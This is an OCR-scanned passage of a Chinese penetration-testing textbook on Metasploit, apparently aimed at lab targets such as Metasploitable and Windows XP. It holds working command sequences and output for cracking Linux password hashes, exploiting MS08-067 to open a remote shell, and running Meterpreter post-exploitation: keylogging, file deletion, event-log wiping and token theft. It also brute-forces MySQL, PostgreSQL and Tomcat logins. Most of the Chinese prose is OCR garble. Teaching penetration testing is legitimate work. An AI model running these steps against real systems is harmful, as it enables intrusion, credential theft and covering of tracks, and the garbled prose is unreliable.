i HH A5 B2 Metasploit BT A7 A . Jan il A5 S o 4 41, g3l R

P2 Re RITETE) S 5540 S diiik. DL ESmE N AR Z, HEB TR, X5
T —E AR, AR AR AR (D AU

(3) 1{i ] John Ripper linux Z Ml b, AT ar %W & s

msf > use auxiliary/analyze/jtr_linux
msf auxiliary(jtr_linux) >

b 45 B 287 N jtr linux BIER
(4) THBIHAREET . ATar-2 W b oR:
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msf auxiliary(jtr_linux) > show options
Module options (auxiliary/analyze/jtr_linux):

Name Current Setting Required Description

Crypt false no Try crypt() format hashes(Very Slow)

JOHN_BASE no The directory containing John the Ripper (src,
run, doc)

JOHN_PATH no The absolute path to the John the Ripper
executable

Munge false no Munge the Wordlist (Slower)

Wordlist no The path to an optional Wordlist

msf auxiliary(jtr_linux) >

ME R PRI AR 2 jir linux BEEAT S NATALIYEELR, 0 Crypt. JOHN_BASE,
JOHE PATH. Munge il Wordlist. fE4itH {5 E T, XIS A T 0 A7 7 4l 1 il -

(5) BUEM AT AL 54, JXEILET A IEAT jr_linux REH . F] ™ REBEE IR (1)
eI, I set 14 . WE JOHN PATH X, 1 FR:

msf auxiliary(jtr_linux) > set JOHN_PATH /usr/share/metasploit- framework/data/john/

wordlists/password.Ist
JOHN_PATH => /usr/share/metasploit-framework/data/john/wordlists/ password.Ist

(6) BAEiaATBEY, AT a2 FR:

msf auxiliary(jtr_linux) > exploit
6.2.3 #=#l Metasploit &£ 17O (MSFCLD

A NATH A 44 Metasploit 7y 44740 (MSFCLD) . 4 T 5¢ Ak Metasploit [ 504145,
AR —~ % 1. MSFCLI W &f sELIX AN DifE. A T 2% 2] Metasploit S0lllE/ S — AN
BB, MSFCLI 22— MELF ) .

MSF i %47 #1 MSF £ 24 Metasploit FEZL 7 ] S 7 PR kAR A [l F)id 42, MSF 2%
i LA—F P R (R R AR A 1 07 0, R M R AT B SheRF M, 1l MSFCLL W]
T G A B R HoAth iy 24T T L B AEPE . MSFCLI % H a2 0 F s .

Q msfcli: JNEAT 17 305 E LGt MSFCLI 1413 .

O msfeli -h: &F MSFCLI # B CRS.

O msfeli [PATH TO EXPLOIT] [options = value]: /& shiBiE M 15k,

MSF 7447 MSFCLI [ i F s .

(1) JHi3h MSF iy 217 (MSFCLD) . JHzh il FEms S — s i), i 0S8 1, Xk
TP RERME ., SR, B3 MSFCLI g, a8 2026 B bk, T
AR R

root@kali:~# msfcli
[*] Please wait while we load the module tree...

(2) 7 MSFCLI # i 3CH. $ATdr& i F TR

root@kali:~# msfcli -h
Usage: /opt/metasploit/apps/pro/msf3/msfcli <exploit_name> <option=value> [mode]

Mode Description

(A)dvanced Show available advanced options for this module
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(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module

(H)elp You're looking at it baby!

(1)DS Evasion

Show available ids evasion options for this module

(O)ptions Show available options for this module

(P)ayloads Show available payloads for this module

(S)ummary Show information about this module

(T)argets Show available targets for this exploit module
Examples:

msfcli multi’/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder=post= nop= E

RSt B (5 B s 1 msteli iy B3 B SO, TR AR X AR H B SO, nTRL T
ASBEHL A T R B A1 3R

(3) Dy Tk WA BT i 60 76 BSOS 8. IX HURFE £F A JE I,
AT A 2 QT P

W AR B P 2RI T

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas A
[*] Initializing modules...

Name : GATEWAY

Current Setting:

Description - The gateway IP address. This will be used rather than a random remote
address for the UDP probe, if set.

Name : NETMASK

Current Setting : 24

Description : The local network mask. This is used to decide if an address is in the local
network.

Name : ShowProgress

Current Setting : true

Description - Display progress messages during a scan

Name - ShowProgressPercent

Current Setting : 10

Description : The interval in percent that progress should be shown

Name :UDP_SECRET

Current Setting : 1297303091

Description : The 32-bit cookie for UDP probe requests.

Name : VERBOSE

Current Setting : false

Description : Enable detailed status messages

Name - WORKSPACE

Current Setting :

Description - Specify the workspace for this module

PLEAR SRR T xmas BIEAmZUET. 5 B o s E Ay 3 S, &
AR UETRE MR R

(4> test, A el RMEH] S BRaCa) i) M A L. XU R
BT AT AR ) MREF W ik KERr LU nIE i . HRE TAEHD BEE A AR R EE
B 1, JEFEAT LRI A . A SR EARGAE AL, AT A W R P

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas S
[*] Initializing modules...
Name : TCP "XMas" Port Scanner
Module : auxiliary/scanner/portscan/xmas
License : Metasploit Framework License (BSD)
Rank : Normal
Provided by:
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kris katterjohn <katterjohn@gmail.com>
Basic options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set

INTERFACE no The name of the interface

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEOQUT 500 yes The reply read timeout in milliseconds
Description:

Enumerate openlfiltered TCP services using a raw "XMas" scan; this sends probes containing
the FIN, PSH and URG flags.

PLEAG O xmas BEHL 7 245 . X885 HVELFE xmas BEERIYA4FR . ALE . VA,
ool PR FEAEIA AT .

(5) A BB GEAT AR IR AZE, af UG O e, 12 0R R B &
Ly, MAMBIBYGEEIA —EA MRS E IR, T RES AT« BT D200 I T 20T i
BBV SR VF AT Z AT E . T A AR SR, T LA BIVE 2 A A TN R E
UARFRIXHRE, AT E X SR I 1, BRARH P RSB . AT FRTR:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas O
[*] Initializing modules...

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set
INTERFACE no The name of the interface

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

WS B8 T xmas B BN S YE TR, 40 BATCHSIZE., PORTS. RHOSTS.
SNAPLEN. THREADS #! TIMEOUT.
(6) H/ulUAEH] E IS rgE Bt . i an 2 FRR:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas E

[£61 6-2) ffiH MSFCLI ji/~i2i%E Xiti, 1X HLLL ms08 067 netapi At Ao, ILidfs
VEACIRUN R TR .
(1) 7% ms08 067 netapi FLLLIYALE ZHGET . AT AW FHTR:

root@kali:~# msfcli windows/smb/ms08_067_netapi O
[*] Initializing modules...

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

M H P AE Bl DL BB = AN e kT, 4y %) /& RHOST. RPORT Al
SMBPIPE.
(2) 54 ms08 067 netapi £ Bt o] I i 2 dir . Buaram s F .
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root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.41.169 P

[*] Initializing modules...
Compatible payloads

generic/custom
PAYLOADFILE or PAYLOADSTR.
generic/debug_trap
generic/shell_bind_tcp
shell
generic/shell_reverse_tcp
shell
generic/tight_loop
windows/dllinject/bind_ipv6_tcp
a reflective loader
windows/dllinject/bind_nonx_tcp
reflective loader
windows/dllinject/bind_tcp
reflective loader
windows/dllinject/reverse_http
via a reflective loader
windows/dllinject/reverse_ipv6_http
a DLL via a reflective loader
windows/dllinject/reverse_ipv6_tcp
DLL via a reflective loader
windows/dllinject/reverse_nonx_tcp
DLL via a reflective loader
windows/dllinject/reverse_ord_tcp
reflective loader
windows/dllinject/reverse_tcp
reflective loader

windows/dllinject/reverse_tcp_allports

Description

Use custom string or file as payload. Set either

Generate a debug trap in the target process
Listen for a connection and spawn a command

Connect back to attacker and spawn a command

Generate a tight loop in the target process
Listen for a connection over IPv6, Inject a DLL via

Listen for a connection (No NX), Inject a DLL via a
Listen for a connection, Inject a DLL via a
Tunnel communication over HTTP, Inject a DLL

Tunnel communication over HTTP and IPv6, Inject

Connect back to the attacker over IPv6, Inject a
Connect back to the attacker (No NX), Inject a
Connect back to the attacker, Inject a DLL via a

Connect back to the attacker, Inject a DLL via a

Try to connect back to the attacker, on all possible

ports (1-65535, slowly), Inject a DLL via a reflective loader

windows/dllinject/reverse_tcp_dns
reflective loader
windows/dns_txt_query_exec

record(s) and executes the returned payload

windows/vncinject/reverse_tcp_allports

Connect back to the attacker, Inject a DLL via a

Performs a TXT query against a series of DNS

Try to connect back to the attacker, on all possible

ports (1-65535, slowly), Inject a VNC DIl via a reflective loader (staged)

windows/vncinject/reverse_tcp_dns
a reflective loader (staged)

Connect back to the attacker, Inject a VNC DIl via

it B4 B ks T ms08_067_netapi BEH ] IR BC Hfr o i B LU A 2 AR

B PR R R, bl A S

...... ) BT .

(3) X HLEHAE T shell binditep B EAFHFBENIR. W FFis:

root@kali:~# msfcli
windows/shell/bind_tcp E
[*] Initializing modules...
RHOST => 192.168.41.146

PAYLOAD => windows/shell/bind_tcp
[*] Started bind handler

[*] Automatically detecting the target...

windows/smb/ms08_067_netapi

RHOST=192.168.41.146 PAYLOAD=

[*] Fingerprint: Windows XP - Service Pack 0/ 1 - lang:Chinese - Traditional
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[*] Selected Target: Windows XP SP0/SP1 Universal

[*] Attempting to trigger the vulnerability...

[*¥] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 192.168.41.146

[¥] Command shell session 1 opened (192.168.41.156:60335 -> 192.168.41.146:4444) at

2014-06-06 10:12:06 +0800

Microsoft Windows XP [iZ 5.1.2600]
(C) KR#LERA 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

M A5 K wT LUR BRI M RE R 458 EZER] T4 Windows v 1T (1) Shell.

KATRBE AL B -

6.3 4=%| Meterpreter

Meterpreter #& Metasploit HEZEH R —N % T, T8 55 15 R0 I I I 0 e iy BT 44
H, B 7 i A e i 5 e R (45 F P — A ihliliE . 246 Armitage, MSFCLI £
MSFCONSOLE #H{ £ H 5 248 L/ — > Meterpreter 381, [/ 4454 J1] Meterpreter
T Wi 2. MSFCONSOLE HI - BEH] P BI<31&, 1l Meterpreter W J2 B 8 1r H172 15

Bobi g B AT A 4 Meterpreter 1141
Meterpreter 1045 (K] 285 WAy 2 U1 F s,

help: A FAIE L.

background: fCVFH] 7 {E )5 & Meterpreter 231

download: FIVFHI A MAAZ THLE FECCL).

upload: fOVFH] 7 _EAE AR AL,

execute: fLVFH /T AEANRZ EHL EATAr 2.

I N Iy Iy oy

O session-i: fiFH P PHarifh.

i F] JF MSFCONSOLE S8l 454l FL o 20 3 F s .
(1) {£ MSFCONSOLE )3 &) iK1 23 i .

(2) AR RGN )G sh s . PAT S W T FR:

meterpreter > keyscan_start
Starting the keystroke sniffer...

M H AR KL R DU RIS AR C R 8
(3) filigkdwif R GEH T R A . AT Ay 2 R s

meterpreter > keyscan_dump
Dumping captured keystrokes...

<Return> www.baidu.com <Return> aaaa <Return> <Back> <Back>
<Back>

shell: RVFH S EAR EHLE (U JE Windows TAH1L) 1247 Windows shell iy % .

<Back>

LA Bt s B ERI ARG I SN T www baidu.com, aaaa f¢[RI7gE. IR HHE.

(4) 1 kI RS R A . PAT a0 R s

meterpreter > keyscan_stop
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Stopping the keystroke sniffer...

M ) fe S T LR SIS A AR .
(5) MBRdR R 5e LA 30 JAT a2 W fras:

meterpreter > del exploited.docx

(6) VEkRIWI A% B HE. $drarSu M

meterpreter > clearev
[*] Wiping 57 records from Application...

[*] Wiping 107 records from System...
[*] Wiping 0 records from Security...

(7) BAIEARIEATRERAIR . AT 2 W FArR:

meterpreter > ps
Process List

PID PPID Name Arch Session User Path
0 0 [System Process] 4294967295
4 0 System x86 0
204 1676 notepad.exe x86 0  AA-8860KJM26FSW\Test C:\WINDOWS\
System32\ notepad.exe
500672 vmtoolsd.exe x86 0 NTAUTHORITY\ASYSTEM C:\Program
Files\VMware\VMware To ols\vmtoolsd.exe
240 4 smss.exe x86 0 NT AUTHORITY\SYSTEM\  SystemRoot\
System32\smss.exe
576 120 conime.exe x86 0  AA-8860KJM26FSW\Test CAWINDOWS\
System32\conime.exe
604 540 csrss.exe x86 0 NT AUTHORITY\SYSTEM\??\
C:AWINDOWS\ system32\csrss.exe
628 540 winlogon.exe x86 0 NT AUTHORITY\SYSTEM\??\
CA\WINDOWS\ system32\winlogo n.exe
884 1456 TPAutoConnect.exe x86 0 AA-8860KJM26FSW\Test C:\Program
Files\VMware\VMwar e Tools\TPAutoConnect.exe
964 672 svchost.exe x86 0 NTAUTHORITY\SYSTEM
1724 1544 vmtoolsd.exe x86 0 AA-8860KJM26FSW\Test C:\Program
Files\VMware\VMware To ols\vmtoolsd.exe
1732 2040 notepad.exe x86 0 AA-8860KJM26FSW\Test
C:\WINDOWS\System32\notepad.exe
1736 1544 ctfmon.exe x86 0 AA-8860KJM26FSW\Test
C:\WINDOWS\System32\ctfmon.exe
1920 964 wuauclt.exe x86 0 AA-8860KJM26FSW\Test
C:\WINDOWS\System32\wuauclt.exe
1952 736 notepad.exe x86 0 AA-8860KJM26FSW\Test
CAWINDOWS\System32\notepad.exe
1956 1544 |IEXPLORE.EXE x86 0 AA-8860KJM26FSW\Test C:\Program
Files\Internet Explorer\iexp lore.exe
2000 1764 notepad.exe x86 0 AA-8860KJM26FSW\Test
C:\WINDOWS\System32\notepad.exe
2040 1544 |IEXPLORE.EXE x86 0 AA-8860KJM26FSW\Test C:\Program

Files\Internet Exploreniexp lore.exe

WA RS TR ARSE T BRI T A R, B8R3N ID 5. #EA. R
GEA L R BB ATRE I R A SR
@)ﬁthTWﬁM?a$%E% AT ATAT W FRTR:

meterpreter > kill 2040
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Killing: 2040

(9) 22w RGO AERE M. AT AT QR PR

meterpreter > steal_token

QiFE: 148 RE 494k, Meterpreter F 894 42 REI4Y. A ik, THRRALN L
o

6.4 HEIGEE A

R A28 T Armitage. MSFCONSOLE HI MSFCLI $3 [ HE & B Al ] . AT 4
ZH44# f MSFCONSOLE T H.i23& 4l MySQL 41 7 /Il %5 . PostgreSQL £(4f Ml 5 . Tomcat
M4 #1 PDF 0%

6.4.1 ZiEWE MySQL HiEER S

MySQL 22—/ R BUELYR 9 7 R 40, thfiy i MySQL AB A #] JF &, H i % T Oracle
v#) . 1 Metasploitable &M, MySQL M-S A AUEAFEIR I . 2RI AT vl B2 LEETERY
Tt AN SR TEAE Y 5 A0 UE P 0T ) MySQL #dl . Brbl, I ol LUR T i,
X MySQL JIj 55 HEAT BB B o« 46 4 Metasploit HERLFR ML 1T —Z2 414 MySQL %idfa %2 14 4l 4l
Bk, WTLAFEEIA P B A TIEE DR . AN ] Metasploit [f] MySQL
Hi R 532 P MySQL $dli ) IR %% . 183% Ml Metasploitable 545 MySQL ¥ 4 112 45
M AR BB T v

(1) JAiz)) MSFCONSOLE. A7 it Wl R~ .

root@kali:~# msfconsole

(2) R FTAH A R0 MySQL #ibe . AT ir-& W T B

msf > search mysq|
Matching Modules

Name Disclosure Date Rank
Description

auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal Ruby on Rails Devise

Authentication 00:00:00 UTC Password Reset

auxiliary/admin/mysqgl/mysgl_enum normal  MySQL Enumeration Module

auxiliary/admin/mysqgl/mysql_sql normal  MySQL SQL Generic Query

auxiliary/admin/tikiwiki/tikidblib 2006-11-01normal  TikiWiki Information Disclosure
00:00:00 UTC

auxiliary/analyze/jtr_mysql_fast normal John the Ripper MySQL

Password Cracker (Fast Mode)

auxiliary/pro/webaudit/sqli_blind_timing_mysq|l normal PRO: MySQL blind SQL

injection module (timing)

auxiliary/scanner/mysql/mysql_authbypass 2012-06-09 normal MySQL Authentication

Bypass

_hashdump 00:00:00 UTC Password Dump

auxiliary/scanner/mysqgl/mysgl_file_enum normal  MYSQL File/Directory Enumerator
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auxiliary/scanner/mysgl/mysgl_hashdump normal  MYSQL Password Hashdump
auxiliary/scanner/mysqgl/mysql_login normal  MySQL Login Utility
auxiliary/scanner/mysgl/mysgl_schemadump normal MYSQL Schema Dump
auxiliary/scanner/mysgl/mysgl_version normal  MySQL Server Version Enumeration

auxiliary/server/capture/mysgl normal

Authentication Capture: MySQL

exploit/linux/mysgl/mysqgl_yass|_getname 2010-01-25 goodMySQL yaSSL
CertDecoder::GetName

00:00:00 UTC Buffer Overflow
exploit/linux/mysgl/mysql_yassl|_hello 2008-01-04 good MySQL yaSSL SSL
Hello Message

00:00:00 UTC Buffer Overflow
exploit/pro/web/sqli_mysq| 2007-06-05 manual SQL injection exploit for
MySQL

00:00:00 UTC
exploit/pro/web/sqli_mysql_php 2000-05-30 manual  SQL injection exploit for
MySQL

00:00:00 UTC
exploit/unix/webapp/kimai_sqli 2013-05-21 average Kimai v0.92 ‘'db_
restore.php’ SQL

00:00:00 UTC Injection
exploit/unix/webapp/wp_google_document 2013-01-03 normal  WordPress Plugin
Google Document
_embedder_exec 00:00:00 UTC Embedder Arbitrary File
Disclosure
exploit/'windows/mysqgl/mysgl_mof 2012-12-01 excellent Oracle MySQL for
Microsoft Windows

00:00:00 UTC MOF Execution
exploit/'windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL for
Microsoft Windows

00:00:00 UTC Payload Execution
exploit/windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL
Hello Message

00:00:00 UTC Buffer Overflow
exploit/'windows/mysql/scrutinizer 2012-07-27 excellent Plixer Scrutinizer

NetFlow and sFlow
_upload_exec 00:00:00 UTC
post/linux/gather/enum_configsnormal

post/linux/gather/enum_users_history
msf >

Analyzer 9 Default MySQL Credential
Linux Gather Configurations

normal

Linux Gather User History

it BOA5 B ks T MySQL _E vl JH AR . X aepiterh, JEFRBIE G R T

Kl
(3) I UL MySQL FHiHL . AT 4 4 F BT

msf > use auxiliary/scanner/mysqgl/mysql_login
msf auxiliary(mysqgl_login) >

(4) QRBUIAROET. AT fr & FFTs

msf auxiliary(mysqgl_login) > show options
Module options (auxiliary/scanner/mysql/mysql_login):

Name Current Setting Required Description

BLANK_PASSWORDS true no
BRUTEFORCE_SPEED 5 yes
DB_ALL_CREDS false no

Try blank passwords for all users
How fast to bruteforce, from 0 to 5
Try each user/password couple stored in the
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current database
DB_ALL_PASS false no Add all passwords in the current database to the
list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by
space, one

pair per line

USER_AS_PASS true no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

LA EIAE SV THE mysql login ARBR T Al BE (RIE . M A H (10 25 5 T LA 3 5
s TWSIE I, Jrpl it i pr. HaricE . #oRk k. Hh Required 2 yes [k 5t
DIRECE R, 2 ARG E . XTI A9/, Description #A7 HH R /M4

(5) ABBYGEHRE Hbs RS TP ORI RIALE . AT a2 Wl kB

msf auxiliary(mysgl_login) > set RHOSTS 192.168.41.142

RHOST => 192.168.41.142

msf auxiliary(mysgl_login) > set user_file /root/Desktop/usernames.txt
user_file => /root/Desktop/usernames.txt

msf auxiliary(mysgl_login) > set pass_file /root/Desktop/passwords.txt
pass_file => /root/Desktop/passwords.txt

PLEAS BBCE 7 H AR RGERstll, I SCOFR1E 65 SCAF A A
(6) FENBELT . BATAAW Fs:

msf auxiliary(mysqgl_login) > exploit
[deprecated] |18n.enforce_available_locales will default to true in the future. If you really want to
skip validation of your locale you can set [18n.enforce_available_locales = false to avoid this

message.
[*] 192.168.41.142:3306 MYSQL - Found remote MySQL version 5.0.51a

[*] 192.168.41.142:3306 MYSQL - [01/40] - Trying username:'sa’ with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [02/40] - Trying username:‘root’ with password:"

[+] 192.168.41.142:3306 - SUCCESSFUL LOGIN ‘root' : ™
[*] 192.168.41.142:3306 MYSQL - [03/40] - Trying username:'bob’ with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [04/40] - Trying username:'ftp' with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [05/40] - Trying username:'apache’ with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [06/40] - Trying username:'named' with password:"

[-] Access denied
[*] 192.168.41.142:3306 MYSQL - [07/40] - Trying username:'sa’ with password:'sa’
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[-]'/Access denied
[*] 192.168.41.142:3306 MYSQL - [35/40] - Trying username:'named’ with password:'password'

[-] Access denied
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

B S BRBIE B R — N R, SR R 0 P A4/ 6 S v B P A4 R

hi%E 2 MySQL JIR55#% . EiZ2iEBGE LR, Metasploit 23 S5 4m A H] 2 44 R 35 650 SO &

I P A RS . W AU S b ol AR 2], Clllialt MySQL ¥ 72 Ik 25 25 59 HI P
2 0 43 5 & Toot Fl password .

6.4.2 BiE T PostgreSQL HIEER %

PostgreSQL &> H H IR R—— R R EH IS GBI B R S0 o EE 001
BSD- K& VFr[E FAAT. 25—k JA 5) msfeonsole I, Kali H [l Metasploit 2361 i 4% #1
msf3 [}] PostgreSQL ##fi /%, JFEMRTIFZEN KB rfmEdh®. Rio, HHAWN
msf3 HIT1/, EANERES] mef3 HORPE. BRLL, HCati % ol LRIk RE BRI 1300 )
PostgreSQL Al & . A /N /254 1] Metasploit [1) PostgreSQL 4 4 & b 15 1% Iy
PostgreSQL #0455« 121FE X il PostgreSQL A3l 7 I 45 1) FLAAR SR /R 2 38 Pl

(1) Ji5) MSFCONSOLE. 44474 Wi FiR:

root@kali:~# msfconsole

(2) 4T AR PostgreSQL L. $RAT Ay & Wl FPI7n:

msf > search postgresqg|
Matching Modules

Name Disclosure Date Rank Description

auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal  Ruby on Rails Devise

00:00:00 UTC Authentication
Password Reset
auxiliary/admin/postgres/postgres_readfile normal PostgreSQL  Server  Generic
Query
auxiliary/admin/postgres/postgres_sql normal  PostgreSQL Server  Generic
Query
auxiliary/scanner/postgres/postgres_ normal  PostgreSQL Database Name
dbname_flag_injection Command Line Flag Injection
auxiliary/scanner/postgres/postgres login normal PostgreSQL Login Utility
auxiliary/scanner/postgres/postgres version normal PostgreSQL Version Probe
auxiliary/server/capture/postgresal normal  Authentication Capture:
PostgreSQL
exploit/linux/postgres/postgres_payload 2007-06-05 excellent PostgreSQL for Linux
Payload

00:00:00 UTC Execution
exploit/pro/web/sqli_postgres 2007-06-05 manual  SQL injection exploit for
PostgreSQL

00:00:00 UTC
exploit/windows/postgres/postgres_payload  2009-04-10 excellent PostgreSQL for
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Microsoft Windows
00:00:00 UTC Payload Execution

PLEAS B %o T PostgreSQL A7 AHICHUMIER . IRy v DUIZFEAH W B 34T Beedy o
(3) {#i[{] PostgreSQL F i, HATarA FH:

msf > use auxiliary/scanner/postgres/postgres_login
(4) £575 PostereSQL HLHLINFTATIEIL. AT dr &1 FHiz:

msf auxiliary(postgres_login) > show options
Module options (auxiliary/scanner/postgres/postgres_login):

Name Current Setting Required Description

BLANK _ true no Try blank passwords for all users
PASSWORDS
BRUTEFORCE _ 3 yes How fast to bruteforce, from 0 to 5
SPEED
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored
in the current database
DB_ALL_PASS false no Add all passwords in the current
database to the list
DB _ALL_USERS false no Add all users in the current database to
the list
PASSWORD no A specific password to authenticate
with
PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt

no File containing passwords, one per line
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target address range or CIDR
identifier
RPORT 5432 yes The target port
STOP_ON_ false yes Stop guessing when a credential works
for a host
SUCCESS
THREADS 1 yes The number of concurrent threads
USERNAME postgres no A specific username to authenticate as
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt

no File containing (space-seperated) users
and

passwords, one pair per line

USER_AS_PASS true no Try the username as the password for
all users
USER_FILE lopt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt

no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts

LA EAS V275 T postgres login #EHHh al e B (( L 30T AR 7 (B0 AR DL, P R
I T B
(5) fi}f] RHOST LI e F br 588 (A4 Metasploitable 2) . AT T W1 T FiR:

msf auxiliary(postgres_login) > set RHOSTS 192.168.41.142
RHOST => 192.168.41.142
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(6) fr P43k ATar-& i FRR:

msf auxiliary(postgres_login) > set user_file /usr/share/metasploit- framework/data/wordlists/
postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists /postgres_default_user.txt

(7) $RE M. BT a2 TR

msf auxiliary(postgres_login) > set pass_file /usr/share/metasploit- framework/data/wordlists/
postgres_default_pass.txt
pass_file == /usr/share/metasploit-framework/data/wordlists/ postgres_default_pass.txt

(8) BiTBEL L . AT a2 R:

msf auxiliary(postgres_login) > exploit
[*] 192.168.41.142:5432 Postgres - [01/21] - Trying username:'postgres' with password:" on
database 'template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'postgres’:"
[-] 192.168.41.142:5432 Postgres - [01/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [02/21] - Trying username:" with password:" on database
‘template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: ":"
[-] 192.168.41.142:5432 Postgres - [02/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [03/21] - Trying username:'scott' with password:" on database
‘template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott":"
[-] 192.168.41.142:5432 Postgres - [03/21] - Username/Password failed.
[¥] 192.168.41.142:5432 Postgres - [04/21] - Trying username:'admin’ with password:" on
database 'template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: ‘admin":"
[-] 192.168.41.142:5432 Postgres - [04/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [05/21] - Trying username:'postgres’ with
password:'postgres’ on database ‘template1’
[+] 192.168.41.142:5432 Postgres - Logged in to ‘template1® with ‘postgres':'postgres’
[+] 192.168.41.142:5432 Postgres - Success: postgres:postgres (Database ‘template1”

succeeded.)
[*] 192.168.41.142:5432 Postgres - Disconnected

[¥] 192.168.41.142:5432 Postgres - [06/21] - Trying username:'scott' with password:'scott' on

database 'template1’

[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott:'scott’

[-] 192.168.41.142:5432 Postgres - [06/21] - Username/Password failed.

[*] 192.168.41.142:5432 Postgres - [07/21] - Trying username:'admin’ with password:'admin’' on

database 'template1’
[[] 192.168.41.142:5432 Postgres - Invalid username or password: 'scott':'admin’
[-] 192.168.41.142:5432 Postgres - [16/21] - Username/Password failed.
[*¥] 192.168.41.142:5432 Postgres - [17/21] - Trying username:'admin’ with password:'tiger' on
database 'template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: 'admin":'tiger'
[-] 192.168.41.142:5432 Postgres - [17/21] - Username/Password failed.
[*] 192.168.41.142:5432 Postgres - [18/21] - Trying username:'admin’ with password:'postgres' on
database 'template1’
[-] 192.168.41.142:5432 Postgres - Invalid username or password: ‘admin':'postgres’
[-] 192.168.41.142:5432 Postgres - [18/21] - Username/Password failed.
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[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

LAt (145 B PostgreSQL 23 Muiki (1) ANt 2. MK F] PostgreSQL 4 % Ik 55
[T ) 44 R0 ) 1)) 1 Postgres Fl1 Postgres.

6.4.3 SiENWE Tomcat R

Tomcat 4528 N B I T EACAD ) Web R4S 2% . & 0] LLZATLE Linux #l
Windows £ £ /P& Lo BT HMERERE . § MR A 0 S5 sl i) KA P I =% .
HAi, LM B4k 2 4 Java Web 255 H] #1217 7E Tomeat Iz 4545 . Tomcat BLIAf7F7E—
AEHIGE, BRARE LR http:/IP 854 5 X /manager/html. i k)G &, WLILE
AT Tomeat [|R45 IFIH T A EHHE . ol 15 1080HIE Web R o {H 2 W AL E A
M AR R 2R BEEEFIAXANRR, o LEEFERE . Fiat A2 — 5k
Ftm o APATHEA HBE I Tomeat IR 45 W 7% 23E iy Tomceat IR 55 (1 H AR R DR
wr ks

(1) Ji5) MSFCONSOLE. 74 fin:

root@kali:~# msfconsole

(2) PRI Tomeat sk, AT 674 WF FiR:

msf > search tomcat
Matching Modules

Name Disclosure Date  Rank Description
auxiliary/admin/http/tomcat_administration normal Tomcat  Administration Tool
Default Access
auxiliary/admin/http/tomcat_utf8__ normal Tomcat UTF-8 Directory Traversal
Vulnerability
traversal
auxiliary/admin/http/trendmicro_dlp_ normal  TrendMicro Data Loss Prevention
5.5 Directory
traversal Traversal
auxiliary/dos/http/apache_ 2010-07-09 normal  Apache Tomcat
Transfer-Encoding Information
tomcat_transfer_encoding 00:00:00 UTC Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28 normal  Hashtable Collisions

00:00:00 UTC
auxiliary/scanner/http/tomcat_enum normal  Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_ normal Tomcat Application Manager
Login Utility
login
exploit/multihttp/struts_default_ 2013-07-02 excellent Apache Struts 2
DefaultActionMapper Prefixes
action_mapper 00:00:00 UTC OGNL Code Execution
exploit/multi/http/tomcat_mgr_ 2009-11-09 excellent Apache Tomcat Manager
Application Deployer
deploy 00:00:00 UTC Authenticated Code Execution
post/windows/gather/enum_tomcat normal  Windows Gather Apache Tomcat

Enumeration
PL S (5 B2 7R T Tomeat Jlg 45 0w HIBIE . BLAEH] ;- n] BLEHF 5 Bl L
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%@mm
(3) /1] Tomeat ¥ T B RAUHATIZIE L tr o AT AT 10 R

msf auxiliary(postgres_login) > use auxiliary/scanner/http/ tomcat_mgr_login
